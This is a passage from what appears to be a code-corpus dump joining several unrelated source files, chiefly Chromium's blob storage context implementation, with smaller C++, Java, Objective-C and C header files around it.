// for signing the policy and don't have to coincide with the user's known
// keys. Instead, we store the private keys as raw bytes. Where needed, a
// temporary RSAPrivateKey is created.
std::vector<uint8_t> raw_signing_key_;
std::vector<uint8_t> raw_new_signing_key_;
std::string raw_new_signing_key_signature_;
DISALLOW_COPY_AND_ASSIGN(PolicyBuilder);
};
// Type-parameterized PolicyBuilder extension that allows for building policy
// blobs carrying protobuf payloads.
template <typename PayloadProto>
class TypedPolicyBuilder : public PolicyBuilder {
public:
TypedPolicyBuilder();
// Returns a reference to the payload protobuf being built. Note that an
// initial payload protobuf is created in the constructor.
PayloadProto& payload() { return *payload_; }
const PayloadProto& payload() const { return *payload_; }
void clear_payload() { payload_.reset(); }
void CreatePayload() { payload_ = std::make_unique<PayloadProto>(); }
// PolicyBuilder:
void Build() override {
if (payload_)
CHECK(payload_->SerializeToString(policy_data().mutable_policy_value()));
PolicyBuilder::Build();
}
private:
std::unique_ptr<PayloadProto> payload_;
DISALLOW_COPY_AND_ASSIGN(TypedPolicyBuilder);
};
// PolicyBuilder extension that allows for building policy blobs carrying string
// payloads.
class StringPolicyBuilder : public PolicyBuilder {
public:
StringPolicyBuilder();
void set_payload(std::string payload) { payload_ = std::move(payload); }
const std::string& payload() const { return payload_; }
void clear_payload() { payload_.clear(); }
// PolicyBuilder:
void Build() override;
private:
std::string payload_;
DISALLOW_COPY_AND_ASSIGN(StringPolicyBuilder);
};
typedef TypedPolicyBuilder<enterprise_management::CloudPolicySettings>
UserPolicyBuilder;
#if !defined(OS_ANDROID) && !defined(OS_IOS)
using ComponentCloudPolicyBuilder =
TypedPolicyBuilder<enterprise_management::ExternalPolicyData>;
#endif
#if defined(OS_CHROMEOS)
using ComponentActiveDirectoryPolicyBuilder = StringPolicyBuilder;
#endif
} // namespace policy
#endif // COMPONENTS_POLICY_CORE_COMMON_CLOUD_POLICY_BUILDER_H_
| 2,406 |
496 | <filename>src/backend/gpu/kernel_rw_analysis.h
#ifndef SIMIT_KERNEL_RW_ANALYSIS_H
#define SIMIT_KERNEL_RW_ANALYSIS_H
#include "ir.h"
namespace simit {
namespace ir {
std::set<Var> findRootVars(Func func);
Func kernelRWAnalysis(Func func);
}} // namespace simit::ir
#endif
| 119 |
14,668 | // Copyright (c) 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "storage/browser/blob/blob_storage_context.h"
#include <inttypes.h>
#include <algorithm>
#include <limits>
#include <memory>
#include <set>
#include <utility>
#include "base/bind.h"
#include "base/callback.h"
#include "base/files/file_util.h"
#include "base/location.h"
#include "base/logging.h"
#include "base/memory/ptr_util.h"
#include "base/metrics/histogram_macros.h"
#include "base/numerics/safe_conversions.h"
#include "base/numerics/safe_math.h"
#include "base/strings/stringprintf.h"
#include "base/task/post_task.h"
#include "base/task/task_runner.h"
#include "base/task/thread_pool.h"
#include "base/threading/thread_task_runner_handle.h"
#include "base/trace_event/memory_dump_manager.h"
#include "base/trace_event/trace_event.h"
#include "mojo/public/cpp/bindings/callback_helpers.h"
#include "storage/browser/blob/blob_data_builder.h"
#include "storage/browser/blob/blob_data_item.h"
#include "storage/browser/blob/blob_data_snapshot.h"
#include "storage/browser/blob/blob_impl.h"
#include "storage/browser/blob/shareable_blob_data_item.h"
#include "storage/browser/blob/write_blob_to_file.h"
#include "third_party/blink/public/common/blob/blob_utils.h"
#include "third_party/blink/public/mojom/blob/data_element.mojom.h"
#include "url/gurl.h"
namespace storage {
namespace {
using ItemCopyEntry = BlobEntry::ItemCopyEntry;
using QuotaAllocationTask = BlobMemoryController::QuotaAllocationTask;
} // namespace
BlobStorageContext::BlobStorageContext()
: profile_directory_(base::FilePath()),
memory_controller_(base::FilePath(), scoped_refptr<base::TaskRunner>()) {
base::trace_event::MemoryDumpManager::GetInstance()->RegisterDumpProvider(
this, "BlobStorageContext", base::ThreadTaskRunnerHandle::Get());
}
BlobStorageContext::BlobStorageContext(
const base::FilePath& profile_directory,
const base::FilePath& storage_directory,
scoped_refptr<base::TaskRunner> file_runner)
: profile_directory_(profile_directory),
memory_controller_(storage_directory, std::move(file_runner)) {
base::trace_event::MemoryDumpManager::GetInstance()->RegisterDumpProvider(
this, "BlobStorageContext", base::ThreadTaskRunnerHandle::Get());
}
BlobStorageContext::~BlobStorageContext() {
base::trace_event::MemoryDumpManager::GetInstance()->UnregisterDumpProvider(
this);
}
std::unique_ptr<BlobDataHandle> BlobStorageContext::GetBlobDataFromUUID(
const std::string& uuid) {
BlobEntry* entry = registry_.GetEntry(uuid);
if (!entry)
return nullptr;
return CreateHandle(uuid, entry);
}
void BlobStorageContext::GetBlobDataFromBlobRemote(
mojo::PendingRemote<blink::mojom::Blob> blob,
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
DCHECK(blob);
mojo::Remote<blink::mojom::Blob> blob_remote(std::move(blob));
blink::mojom::Blob* raw_blob = blob_remote.get();
raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
base::BindOnce(
[](mojo::Remote<blink::mojom::Blob>,
base::WeakPtr<BlobStorageContext> context,
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
const std::string& uuid) {
if (!context || uuid.empty()) {
std::move(callback).Run(nullptr);
return;
}
std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
},
std::move(blob_remote), AsWeakPtr(), std::move(callback)),
""));
}
std::unique_ptr<BlobDataHandle> BlobStorageContext::AddFinishedBlob(
std::unique_ptr<BlobDataBuilder> external_builder) {
TRACE_EVENT0("Blob", "Context::AddFinishedBlob");
return BuildBlob(std::move(external_builder), TransportAllowedCallback());
}
std::unique_ptr<BlobDataHandle> BlobStorageContext::AddFinishedBlob(
const std::string& uuid,
const std::string& content_type,
const std::string& content_disposition,
std::vector<scoped_refptr<ShareableBlobDataItem>> items) {
TRACE_EVENT0("Blob", "Context::AddFinishedBlobFromItems");
BlobEntry* entry =
registry_.CreateEntry(uuid, content_type, content_disposition);
uint64_t total_memory_size = 0;
for (const auto& item : items) {
if (item->item()->type() == BlobDataItem::Type::kBytes)
total_memory_size += item->item()->length();
DCHECK_EQ(item->state(), ShareableBlobDataItem::POPULATED_WITH_QUOTA);
DCHECK_NE(BlobDataItem::Type::kBytesDescription, item->item()->type());
DCHECK(!item->item()->IsFutureFileItem());
}
entry->SetSharedBlobItems(std::move(items));
std::unique_ptr<BlobDataHandle> handle = CreateHandle(uuid, entry);
UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.TotalSize", total_memory_size / 1024);
entry->set_status(BlobStatus::DONE);
memory_controller_.NotifyMemoryItemsUsed(entry->items());
return handle;
}
std::unique_ptr<BlobDataHandle> BlobStorageContext::AddBrokenBlob(
const std::string& uuid,
const std::string& content_type,
const std::string& content_disposition,
BlobStatus reason) {
DCHECK(!registry_.HasEntry(uuid));
DCHECK(BlobStatusIsError(reason));
BlobEntry* entry =
registry_.CreateEntry(uuid, content_type, content_disposition);
entry->set_status(reason);
FinishBuilding(entry);
return CreateHandle(uuid, entry);
}
std::unique_ptr<BlobDataHandle> BlobStorageContext::AddFutureBlob(
const std::string& uuid,
const std::string& content_type,
const std::string& content_disposition,
BuildAbortedCallback build_aborted_callback) {
DCHECK(!registry_.HasEntry(uuid));
BlobEntry* entry =
registry_.CreateEntry(uuid, content_type, content_disposition);
entry->set_size(blink::BlobUtils::kUnknownSize);
entry->set_status(BlobStatus::PENDING_CONSTRUCTION);
entry->set_building_state(std::make_unique<BlobEntry::BuildingState>(
false, TransportAllowedCallback(), 0));
entry->building_state_->build_aborted_callback =
std::move(build_aborted_callback);
return CreateHandle(uuid, entry);
}
std::unique_ptr<BlobDataHandle> BlobStorageContext::BuildPreregisteredBlob(
std::unique_ptr<BlobDataBuilder> content,
TransportAllowedCallback transport_allowed_callback) {
BlobEntry* entry = registry_.GetEntry(content->uuid());
DCHECK(entry);
DCHECK_EQ(BlobStatus::PENDING_CONSTRUCTION, entry->status());
entry->set_size(0);
return BuildBlobInternal(entry, std::move(content),
std::move(transport_allowed_callback));
}
std::unique_ptr<BlobDataHandle> BlobStorageContext::BuildBlob(
std::unique_ptr<BlobDataBuilder> content,
TransportAllowedCallback transport_allowed_callback) {
DCHECK(!registry_.HasEntry(content->uuid_));
BlobEntry* entry = registry_.CreateEntry(
content->uuid(), content->content_type_, content->content_disposition_);
return BuildBlobInternal(entry, std::move(content),
std::move(transport_allowed_callback));
}
std::unique_ptr<BlobDataHandle> BlobStorageContext::BuildBlobInternal(
BlobEntry* entry,
std::unique_ptr<BlobDataBuilder> content,
TransportAllowedCallback transport_allowed_callback) {
#if DCHECK_IS_ON()
bool contains_unpopulated_transport_items = false;
for (const auto& item : content->pending_transport_items()) {
if (item->item()->type() == BlobDataItem::Type::kBytesDescription ||
item->item()->type() == BlobDataItem::Type::kFile)
contains_unpopulated_transport_items = true;
}
DCHECK(!contains_unpopulated_transport_items || transport_allowed_callback)
<< "If we have pending unpopulated content then a callback is required";
#endif
entry->SetSharedBlobItems(content->ReleaseItems());
DCHECK((content->total_size() == 0 && !content->IsValid()) ||
content->total_size() == entry->total_size())
<< content->total_size() << " vs " << entry->total_size();
if (!content->IsValid()) {
entry->set_size(0);
entry->set_status(BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS);
} else if (content->transport_quota_needed()) {
entry->set_status(BlobStatus::PENDING_QUOTA);
} else {
entry->set_status(BlobStatus::PENDING_REFERENCED_BLOBS);
}
std::unique_ptr<BlobDataHandle> handle = CreateHandle(content->uuid_, entry);
UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.TotalSize",
content->total_memory_size() / 1024);
TransportQuotaType transport_quota_type = content->found_memory_transport()
? TransportQuotaType::MEMORY
: TransportQuotaType::FILE;
uint64_t total_memory_needed =
content->copy_quota_needed() +
(transport_quota_type == TransportQuotaType::MEMORY
? content->transport_quota_needed()
: 0);
UMA_HISTOGRAM_COUNTS_1M("Storage.Blob.TotalUnsharedSize",
total_memory_needed / 1024);
std::vector<scoped_refptr<BlobDataItem>> items_needing_timestamp;
std::vector<base::FilePath> file_paths_needing_timestamp;
for (auto& item : entry->items_) {
if (item->item()->type() == BlobDataItem::Type::kFile &&
!item->item()->IsFutureFileItem() &&
item->item()->expected_modification_time().is_null()) {
items_needing_timestamp.push_back(item->item());
file_paths_needing_timestamp.push_back(item->item()->path());
}
}
if (!items_needing_timestamp.empty()) {
// Blob construction isn't blocked on getting these timestamps. The created
// blob will be fully functional whether or not timestamps are set. When
// the timestamp isn't set the blob just won't be able to detect the file
// on disk changing after the blob is created.
base::ThreadPool::PostTaskAndReplyWithResult(
FROM_HERE, {base::MayBlock()},
base::BindOnce(
[](std::vector<base::FilePath> paths) {
std::vector<base::Time> result;
result.reserve(paths.size());
for (const auto& path : paths) {
base::File::Info info;
if (!base::GetFileInfo(path, &info)) {
result.emplace_back();
continue;
}
result.push_back(info.last_modified);
}
return result;
},
std::move(file_paths_needing_timestamp)),
base::BindOnce(&BlobDataItem::SetFileModificationTimes,
std::move(items_needing_timestamp)));
}
size_t num_building_dependent_blobs = 0;
std::vector<std::unique_ptr<BlobDataHandle>> dependent_blobs;
// We hold a handle to all blobs we're using. This is important, as our memory
// accounting can be delayed until OnEnoughSizeForBlobData is called, and we
// only free memory on canceling when we've done this accounting. If a
// dependent blob is dereferenced, then we're the last blob holding onto that
// data item, and we need to account for that. So we prevent that case by
// holding onto all blobs.
for (const std::string& dependent_blob_uuid : content->dependent_blobs()) {
BlobEntry* blob_entry = registry_.GetEntry(dependent_blob_uuid);
DCHECK(blob_entry);
if (BlobStatusIsError(blob_entry->status())) {
entry->set_status(BlobStatus::ERR_REFERENCED_BLOB_BROKEN);
break;
}
dependent_blobs.push_back(CreateHandle(dependent_blob_uuid, blob_entry));
if (BlobStatusIsPending(blob_entry->status())) {
blob_entry->building_state_->build_completion_callbacks.push_back(
base::BindOnce(&BlobStorageContext::OnDependentBlobFinished,
ptr_factory_.GetWeakPtr(), content->uuid_));
num_building_dependent_blobs++;
}
}
std::vector<ShareableBlobDataItem*> transport_items;
transport_items.reserve(content->pending_transport_items().size());
for (const auto& item : content->pending_transport_items())
transport_items.emplace_back(item.get());
std::vector<scoped_refptr<ShareableBlobDataItem>> pending_copy_items;
pending_copy_items.reserve(content->copies().size());
for (const auto& copy : content->copies())
pending_copy_items.emplace_back(copy.dest_item);
auto previous_building_state = std::move(entry->building_state_);
entry->set_building_state(std::make_unique<BlobEntry::BuildingState>(
!content->pending_transport_items().empty(),
std::move(transport_allowed_callback), num_building_dependent_blobs));
BlobEntry::BuildingState* building_state = entry->building_state_.get();
building_state->copies = content->ReleaseCopies();
std::swap(building_state->dependent_blobs, dependent_blobs);
std::swap(building_state->transport_items, transport_items);
if (previous_building_state) {
DCHECK(!previous_building_state->transport_items_present);
DCHECK(!previous_building_state->transport_allowed_callback);
DCHECK(previous_building_state->transport_items.empty());
DCHECK(previous_building_state->dependent_blobs.empty());
DCHECK(previous_building_state->copies.empty());
std::swap(building_state->build_completion_callbacks,
previous_building_state->build_completion_callbacks);
building_state->build_aborted_callback =
std::move(previous_building_state->build_aborted_callback);
auto runner = base::ThreadTaskRunnerHandle::Get();
for (auto& callback : previous_building_state->build_started_callbacks)
runner->PostTask(FROM_HERE,
base::BindOnce(std::move(callback), entry->status()));
}
// Break ourselves if we have an error. BuildingState must be set first so the
// callback is called correctly.
if (BlobStatusIsError(entry->status())) {
CancelBuildingBlobInternal(entry, entry->status());
return handle;
}
// Avoid the state where we might grant only one quota.
if (!memory_controller_.CanReserveQuota(content->copy_quota_needed() +
content->transport_quota_needed())) {
CancelBuildingBlobInternal(entry, BlobStatus::ERR_OUT_OF_MEMORY);
return handle;
}
if (content->copy_quota_needed() > 0) {
// The blob can complete during the execution of |ReserveMemoryQuota|.
base::WeakPtr<QuotaAllocationTask> pending_request =
memory_controller_.ReserveMemoryQuota(
std::move(pending_copy_items),
base::BindOnce(&BlobStorageContext::OnEnoughSpaceForCopies,
ptr_factory_.GetWeakPtr(), content->uuid_));
// Building state will be null if the blob is already finished.
if (entry->building_state_)
entry->building_state_->copy_quota_request = std::move(pending_request);
}
if (content->transport_quota_needed() > 0) {
base::WeakPtr<QuotaAllocationTask> pending_request;
switch (transport_quota_type) {
case TransportQuotaType::MEMORY: {
// The blob can complete during the execution of |ReserveMemoryQuota|.
std::vector<BlobMemoryController::FileCreationInfo> empty_files;
pending_request = memory_controller_.ReserveMemoryQuota(
content->ReleasePendingTransportItems(),
base::BindOnce(&BlobStorageContext::OnEnoughSpaceForTransport,
ptr_factory_.GetWeakPtr(), content->uuid_,
std::move(empty_files)));
break;
}
case TransportQuotaType::FILE:
pending_request = memory_controller_.ReserveFileQuota(
content->ReleasePendingTransportItems(),
base::BindOnce(&BlobStorageContext::OnEnoughSpaceForTransport,
ptr_factory_.GetWeakPtr(), content->uuid_));
break;
}
// Building state will be null if the blob is already finished.
if (entry->building_state_) {
entry->building_state_->transport_quota_request =
std::move(pending_request);
}
}
if (entry->CanFinishBuilding())
FinishBuilding(entry);
return handle;
}
void BlobStorageContext::CancelBuildingBlob(const std::string& uuid,
BlobStatus reason) {
CancelBuildingBlobInternal(registry_.GetEntry(uuid), reason);
}
void BlobStorageContext::NotifyTransportComplete(const std::string& uuid) {
BlobEntry* entry = registry_.GetEntry(uuid);
CHECK(entry) << "There is no blob entry with uuid " << uuid;
DCHECK(BlobStatusIsPending(entry->status()));
NotifyTransportCompleteInternal(entry);
}
void BlobStorageContext::Bind(
mojo::PendingReceiver<mojom::BlobStorageContext> receiver) {
receivers_.Add(this, std::move(receiver));
}
void BlobStorageContext::IncrementBlobRefCount(const std::string& uuid) {
BlobEntry* entry = registry_.GetEntry(uuid);
DCHECK(entry);
entry->IncrementRefCount();
}
void BlobStorageContext::DecrementBlobRefCount(const std::string& uuid) {
BlobEntry* entry = registry_.GetEntry(uuid);
DCHECK(entry);
DCHECK_GT(entry->refcount(), 0u);
entry->DecrementRefCount();
if (entry->refcount() == 0) {
DVLOG(1) << "BlobStorageContext::DecrementBlobRefCount(" << uuid
<< "): Deleting blob.";
ClearAndFreeMemory(entry);
registry_.DeleteEntry(uuid);
}
}
std::unique_ptr<BlobDataSnapshot> BlobStorageContext::CreateSnapshot(
const std::string& uuid) {
std::unique_ptr<BlobDataSnapshot> result;
BlobEntry* entry = registry_.GetEntry(uuid);
if (entry->status() != BlobStatus::DONE)
return result;
std::unique_ptr<BlobDataSnapshot> snapshot(new BlobDataSnapshot(
uuid, entry->content_type(), entry->content_disposition()));
snapshot->items_.reserve(entry->items().size());
for (const auto& shareable_item : entry->items()) {
snapshot->items_.push_back(shareable_item->item());
}
memory_controller_.NotifyMemoryItemsUsed(entry->items());
return snapshot;
}
BlobStatus BlobStorageContext::GetBlobStatus(const std::string& uuid) const {
const BlobEntry* entry = registry_.GetEntry(uuid);
if (!entry)
return BlobStatus::ERR_INVALID_CONSTRUCTION_ARGUMENTS;
return entry->status();
}
void BlobStorageContext::RunOnConstructionComplete(const std::string& uuid,
BlobStatusCallback done) {
BlobEntry* entry = registry_.GetEntry(uuid);
DCHECK(entry);
if (BlobStatusIsPending(entry->status())) {
entry->building_state_->build_completion_callbacks.push_back(
std::move(done));
return;
}
std::move(done).Run(entry->status());
}
void BlobStorageContext::RunOnConstructionBegin(const std::string& uuid,
BlobStatusCallback done) {
BlobEntry* entry = registry_.GetEntry(uuid);
DCHECK(entry);
if (entry->status() == BlobStatus::PENDING_CONSTRUCTION) {
entry->building_state_->build_started_callbacks.push_back(std::move(done));
return;
}
std::move(done).Run(entry->status());
}
std::unique_ptr<BlobDataHandle> BlobStorageContext::CreateHandle(
const std::string& uuid,
BlobEntry* entry) {
return base::WrapUnique(new BlobDataHandle(
uuid, entry->content_type_, entry->content_disposition_, entry->size_,
this, base::ThreadTaskRunnerHandle::Get().get()));
}
void BlobStorageContext::NotifyTransportCompleteInternal(BlobEntry* entry) {
DCHECK(entry);
for (ShareableBlobDataItem* shareable_item :
entry->building_state_->transport_items) {
DCHECK(shareable_item->state() == ShareableBlobDataItem::QUOTA_GRANTED);
shareable_item->set_state(ShareableBlobDataItem::POPULATED_WITH_QUOTA);
}
entry->set_status(BlobStatus::PENDING_REFERENCED_BLOBS);
if (entry->CanFinishBuilding())
FinishBuilding(entry);
}
void BlobStorageContext::CancelBuildingBlobInternal(BlobEntry* entry,
BlobStatus reason) {
DCHECK(entry);
DCHECK(BlobStatusIsError(reason));
TransportAllowedCallback transport_allowed_callback;
if (entry->building_state_ &&
entry->building_state_->transport_allowed_callback) {
transport_allowed_callback =
std::move(entry->building_state_->transport_allowed_callback);
}
if (entry->building_state_ &&
entry->status() == BlobStatus::PENDING_CONSTRUCTION) {
auto runner = base::ThreadTaskRunnerHandle::Get();
for (auto& callback : entry->building_state_->build_started_callbacks)
runner->PostTask(FROM_HERE, base::BindOnce(std::move(callback), reason));
}
ClearAndFreeMemory(entry);
entry->set_status(reason);
if (transport_allowed_callback) {
std::move(transport_allowed_callback)
.Run(reason, std::vector<BlobMemoryController::FileCreationInfo>());
}
FinishBuilding(entry);
}
void BlobStorageContext::FinishBuilding(BlobEntry* entry) {
DCHECK(entry);
BlobStatus status = entry->status_;
DCHECK_NE(BlobStatus::DONE, status);
bool error = BlobStatusIsError(status);
UMA_HISTOGRAM_BOOLEAN("Storage.Blob.Broken", error);
if (error) {
UMA_HISTOGRAM_ENUMERATION("Storage.Blob.BrokenReason",
static_cast<int>(status),
(static_cast<int>(BlobStatus::LAST_ERROR) + 1));
}
if (BlobStatusIsPending(entry->status_)) {
for (const ItemCopyEntry& copy : entry->building_state_->copies) {
// Our source item can be a file if it was a slice of an unpopulated file,
// or a slice of data that was then paged to disk.
size_t dest_size = static_cast<size_t>(copy.dest_item->item()->length());
BlobDataItem::Type dest_type = copy.dest_item->item()->type();
switch (copy.source_item->item()->type()) {
case BlobDataItem::Type::kBytes: {
DCHECK_EQ(dest_type, BlobDataItem::Type::kBytesDescription);
base::span<const uint8_t> src_data =
copy.source_item->item()->bytes().subspan(copy.source_item_offset,
dest_size);
copy.dest_item->item()->PopulateBytes(src_data);
break;
}
case BlobDataItem::Type::kFile: {
// If we expected a memory item (and our source was paged to disk) we
// free that memory.
if (dest_type == BlobDataItem::Type::kBytesDescription)
copy.dest_item->set_memory_allocation(nullptr);
const auto& source_item = copy.source_item->item();
scoped_refptr<BlobDataItem> new_item = BlobDataItem::CreateFile(
source_item->path(),
source_item->offset() + copy.source_item_offset, dest_size,
source_item->expected_modification_time(),
source_item->file_ref_);
copy.dest_item->set_item(std::move(new_item));
break;
}
case BlobDataItem::Type::kBytesDescription:
case BlobDataItem::Type::kFileFilesystem:
case BlobDataItem::Type::kReadableDataHandle:
NOTREACHED();
break;
}
copy.dest_item->set_state(ShareableBlobDataItem::POPULATED_WITH_QUOTA);
}
entry->set_status(BlobStatus::DONE);
}
std::vector<BlobStatusCallback> callbacks;
if (entry->building_state_.get()) {
std::swap(callbacks, entry->building_state_->build_completion_callbacks);
entry->building_state_.reset();
}
memory_controller_.NotifyMemoryItemsUsed(entry->items());
auto runner = base::ThreadTaskRunnerHandle::Get();
for (auto& callback : callbacks)
runner->PostTask(FROM_HERE,
base::BindOnce(std::move(callback), entry->status()));
for (const auto& shareable_item : entry->items()) {
DCHECK_NE(BlobDataItem::Type::kBytesDescription,
shareable_item->item()->type());
DCHECK(shareable_item->IsPopulated()) << shareable_item->state();
}
}
void BlobStorageContext::RequestTransport(
BlobEntry* entry,
std::vector<BlobMemoryController::FileCreationInfo> files) {
BlobEntry::BuildingState* building_state = entry->building_state_.get();
if (building_state->transport_allowed_callback) {
std::move(building_state->transport_allowed_callback)
.Run(BlobStatus::PENDING_TRANSPORT, std::move(files));
return;
}
DCHECK(files.empty());
NotifyTransportCompleteInternal(entry);
}
void BlobStorageContext::OnEnoughSpaceForTransport(
const std::string& uuid,
std::vector<BlobMemoryController::FileCreationInfo> files,
bool success) {
if (!success) {
CancelBuildingBlob(uuid, BlobStatus::ERR_OUT_OF_MEMORY);
return;
}
BlobEntry* entry = registry_.GetEntry(uuid);
if (!entry || !entry->building_state_.get())
return;
BlobEntry::BuildingState& building_state = *entry->building_state_;
DCHECK(!building_state.transport_quota_request);
DCHECK(building_state.transport_items_present);
entry->set_status(BlobStatus::PENDING_TRANSPORT);
RequestTransport(entry, std::move(files));
if (entry->CanFinishBuilding())
FinishBuilding(entry);
}
void BlobStorageContext::OnEnoughSpaceForCopies(const std::string& uuid,
bool success) {
if (!success) {
CancelBuildingBlob(uuid, BlobStatus::ERR_OUT_OF_MEMORY);
return;
}
BlobEntry* entry = registry_.GetEntry(uuid);
if (!entry)
return;
if (entry->CanFinishBuilding())
FinishBuilding(entry);
}
void BlobStorageContext::OnDependentBlobFinished(
const std::string& owning_blob_uuid,
BlobStatus status) {
BlobEntry* entry = registry_.GetEntry(owning_blob_uuid);
if (!entry || !entry->building_state_)
return;
if (BlobStatusIsError(status)) {
DCHECK_NE(BlobStatus::ERR_BLOB_DEREFERENCED_WHILE_BUILDING, status)
<< "Referenced blob should never be dereferenced while we "
<< "are depending on it, as our system holds a handle.";
CancelBuildingBlobInternal(entry, BlobStatus::ERR_REFERENCED_BLOB_BROKEN);
return;
}
DCHECK_GT(entry->building_state_->num_building_dependent_blobs, 0u);
--entry->building_state_->num_building_dependent_blobs;
if (entry->CanFinishBuilding())
FinishBuilding(entry);
}
void BlobStorageContext::ClearAndFreeMemory(BlobEntry* entry) {
if (entry->building_state_)
entry->building_state_->CancelRequestsAndAbort();
entry->ClearItems();
entry->ClearOffsets();
entry->set_size(0);
}
bool BlobStorageContext::OnMemoryDump(
const base::trace_event::MemoryDumpArgs& args,
base::trace_event::ProcessMemoryDump* pmd) {
const char* system_allocator_name =
base::trace_event::MemoryDumpManager::GetInstance()
->system_allocator_pool_name();
auto* mad = pmd->CreateAllocatorDump(
base::StringPrintf("site_storage/blob_storage/0x%" PRIXPTR,
reinterpret_cast<uintptr_t>(this)));
mad->AddScalar(base::trace_event::MemoryAllocatorDump::kNameSize,
base::trace_event::MemoryAllocatorDump::kUnitsBytes,
memory_controller().memory_usage());
mad->AddScalar("disk_usage",
base::trace_event::MemoryAllocatorDump::kUnitsBytes,
memory_controller().disk_usage());
mad->AddScalar("blob_count",
base::trace_event::MemoryAllocatorDump::kUnitsObjects,
blob_count());
if (system_allocator_name)
pmd->AddSuballocation(mad->guid(), system_allocator_name);
return true;
}
void BlobStorageContext::RegisterFromDataItem(
mojo::PendingReceiver<::blink::mojom::Blob> blob,
const std::string& uuid,
mojom::BlobDataItemPtr item) {
if (registry_.HasEntry(uuid)) {
receivers_.ReportBadMessage("duplicate uuid");
return;
}
std::unique_ptr<BlobDataBuilder> builder =
std::make_unique<BlobDataBuilder>(uuid);
if (!item->content_type.empty())
builder->set_content_type(item->content_type);
builder->AppendMojoDataItem(std::move(item));
std::unique_ptr<BlobDataHandle> handle = AddFinishedBlob(std::move(builder));
BlobImpl::Create(std::move(handle), std::move(blob));
}
void BlobStorageContext::RegisterFromMemory(
mojo::PendingReceiver<::blink::mojom::Blob> blob,
const std::string& uuid,
mojo_base::BigBuffer data) {
if (registry_.HasEntry(uuid)) {
receivers_.ReportBadMessage("duplicate uuid");
return;
}
std::unique_ptr<BlobDataBuilder> builder =
std::make_unique<BlobDataBuilder>(uuid);
builder->AppendData(data.byte_span());
std::unique_ptr<BlobDataHandle> handle = AddFinishedBlob(std::move(builder));
BlobImpl::Create(std::move(handle), std::move(blob));
}
void BlobStorageContext::WriteBlobToFile(
mojo::PendingRemote<::blink::mojom::Blob> pending_blob,
const base::FilePath& file_path,
bool flush_on_write,
absl::optional<base::Time> last_modified,
BlobStorageContext::WriteBlobToFileCallback callback) {
DCHECK(!last_modified || !last_modified.value().is_null());
if (profile_directory_.empty()) {
std::move(callback).Run(mojom::WriteBlobToFileResult::kBadPath);
return;
}
if (file_path.ReferencesParent()) {
std::move(callback).Run(mojom::WriteBlobToFileResult::kBadPath);
return;
}
if (!profile_directory_.IsParent(file_path)) {
std::move(callback).Run(mojom::WriteBlobToFileResult::kBadPath);
return;
}
GetBlobDataFromBlobRemote(
std::move(pending_blob),
base::BindOnce(
[](base::WeakPtr<BlobStorageContext> blob_context,
const base::FilePath& file_path, bool flush_on_write,
absl::optional<base::Time> last_modified,
BlobStorageContext::WriteBlobToFileCallback callback,
std::unique_ptr<BlobDataHandle> handle) {
if (!handle || !blob_context) {
std::move(callback).Run(
mojom::WriteBlobToFileResult::kInvalidBlob);
return;
}
storage::WriteBlobToFile(std::move(handle), file_path,
flush_on_write, last_modified,
std::move(callback));
},
AsWeakPtr(), file_path, flush_on_write, last_modified,
std::move(callback)));
}
} // namespace storage
| 11,835 |
788 | /*
*
* *
* * Licensed to the Apache Software Foundation (ASF) under one
* * or more contributor license agreements. See the NOTICE file
* * distributed with this work for additional information
* * regarding copyright ownership. The ASF licenses this file
* * to you under the Apache License, Version 2.0 (the
* * "License"); you may not use this file except in compliance
* * with the License. You may obtain a copy of the License at
* *
* * http://www.apache.org/licenses/LICENSE-2.0
* *
* * Unless required by applicable law or agreed to in writing,
* * software distributed under the License is distributed on an
* * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* * KIND, either express or implied. See the License for the
* * specific language governing permissions and limitations
* * under the License.
* *
*
*/
package org.apache.usergrid.persistence.core.migration.data;
/**
* A simple interface to return migration plugins. All versions within this migration plugin should have a name
*/
public interface MigrationPlugin {
/**
* Get the name of the plugin. Must be unique
* @return
*/
String getName();
/**
* Run any migrations that may need to be run in this plugin
*/
void run( ProgressObserver observer );
/**
* Get the max version this plugin supports
* @return
*/
int getMaxVersion();
/**
* Get the phase of the plugin
* @return
*/
PluginPhase getPhase();
}
| 464 |
2,453 | //
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 30 2020 21:18:12).
//
// Copyright (C) 1997-2019 <NAME>.
//
#import <AppKit/NSUndoReplaceCharacters.h>
@class DVTTextStorageCommonUndoHelper;
@interface DVTUndoReplaceCharacters : NSUndoReplaceCharacters
{
DVTTextStorageCommonUndoHelper *_undoHelper;
}
- (void).cxx_destruct;
- (void)undoRedo:(id)arg1;
- (id)description;
- (id)initWithAffectedRange:(struct _NSRange)arg1 layoutManager:(id)arg2 undoManager:(id)arg3 replacementRange:(struct _NSRange)arg4;
@end
| 200 |
16,500 |
#ifndef _TIME_H_
#define _TIME_H_
#include <sys/types.h>
#define time_t uint64_t
#define suseconds_t int
typedef unsigned int clock_t;
typedef struct timeval {
time_t tv_sec; /* Seconds */
suseconds_t tv_usec; /* Microseconds */
} timeval_t;
typedef struct timezone {
int tz_minuteswest;
int tz_dsttime;
} timezone_t;
struct timespec {
time_t tv_sec; /* Seconds */
long tv_nsec; /* Nanoseconds */
};
typedef struct tm {
int tm_sec; /* Seconds. [0-60] (1 leap second) */
int tm_min; /* Minutes. [0-59] */
int tm_hour; /* Hours. [0-23] */
int tm_mday; /* Day. [1-31] */
int tm_mon; /* Month. [0-11] */
int tm_year; /* Year [1970; ...] */
int tm_wday; /* Day of week. [0-6], 0=Sunday */
int tm_yday; /* Days in year. [0-365] */
int tm_isdst; /* Daylight saving [-1/0/1] */
} tm_t;
void tzset( void );
time_t time(time_t* tloc);
int stime(time_t* tptr);
size_t strftime(char *s, size_t max, const char *format,
const struct tm *tm);
/* Converts a broken-down time to UNIX timestamp */
time_t mktime(tm_t* tloc);
char* asctime(const tm_t* tm);
char* asctime_r(const tm_t* tm, char* buf);
tm_t* gmtime(const time_t* timep);
tm_t* gmtime_r(const time_t* timep, tm_t* result);
tm_t* localtime(const time_t* timep);
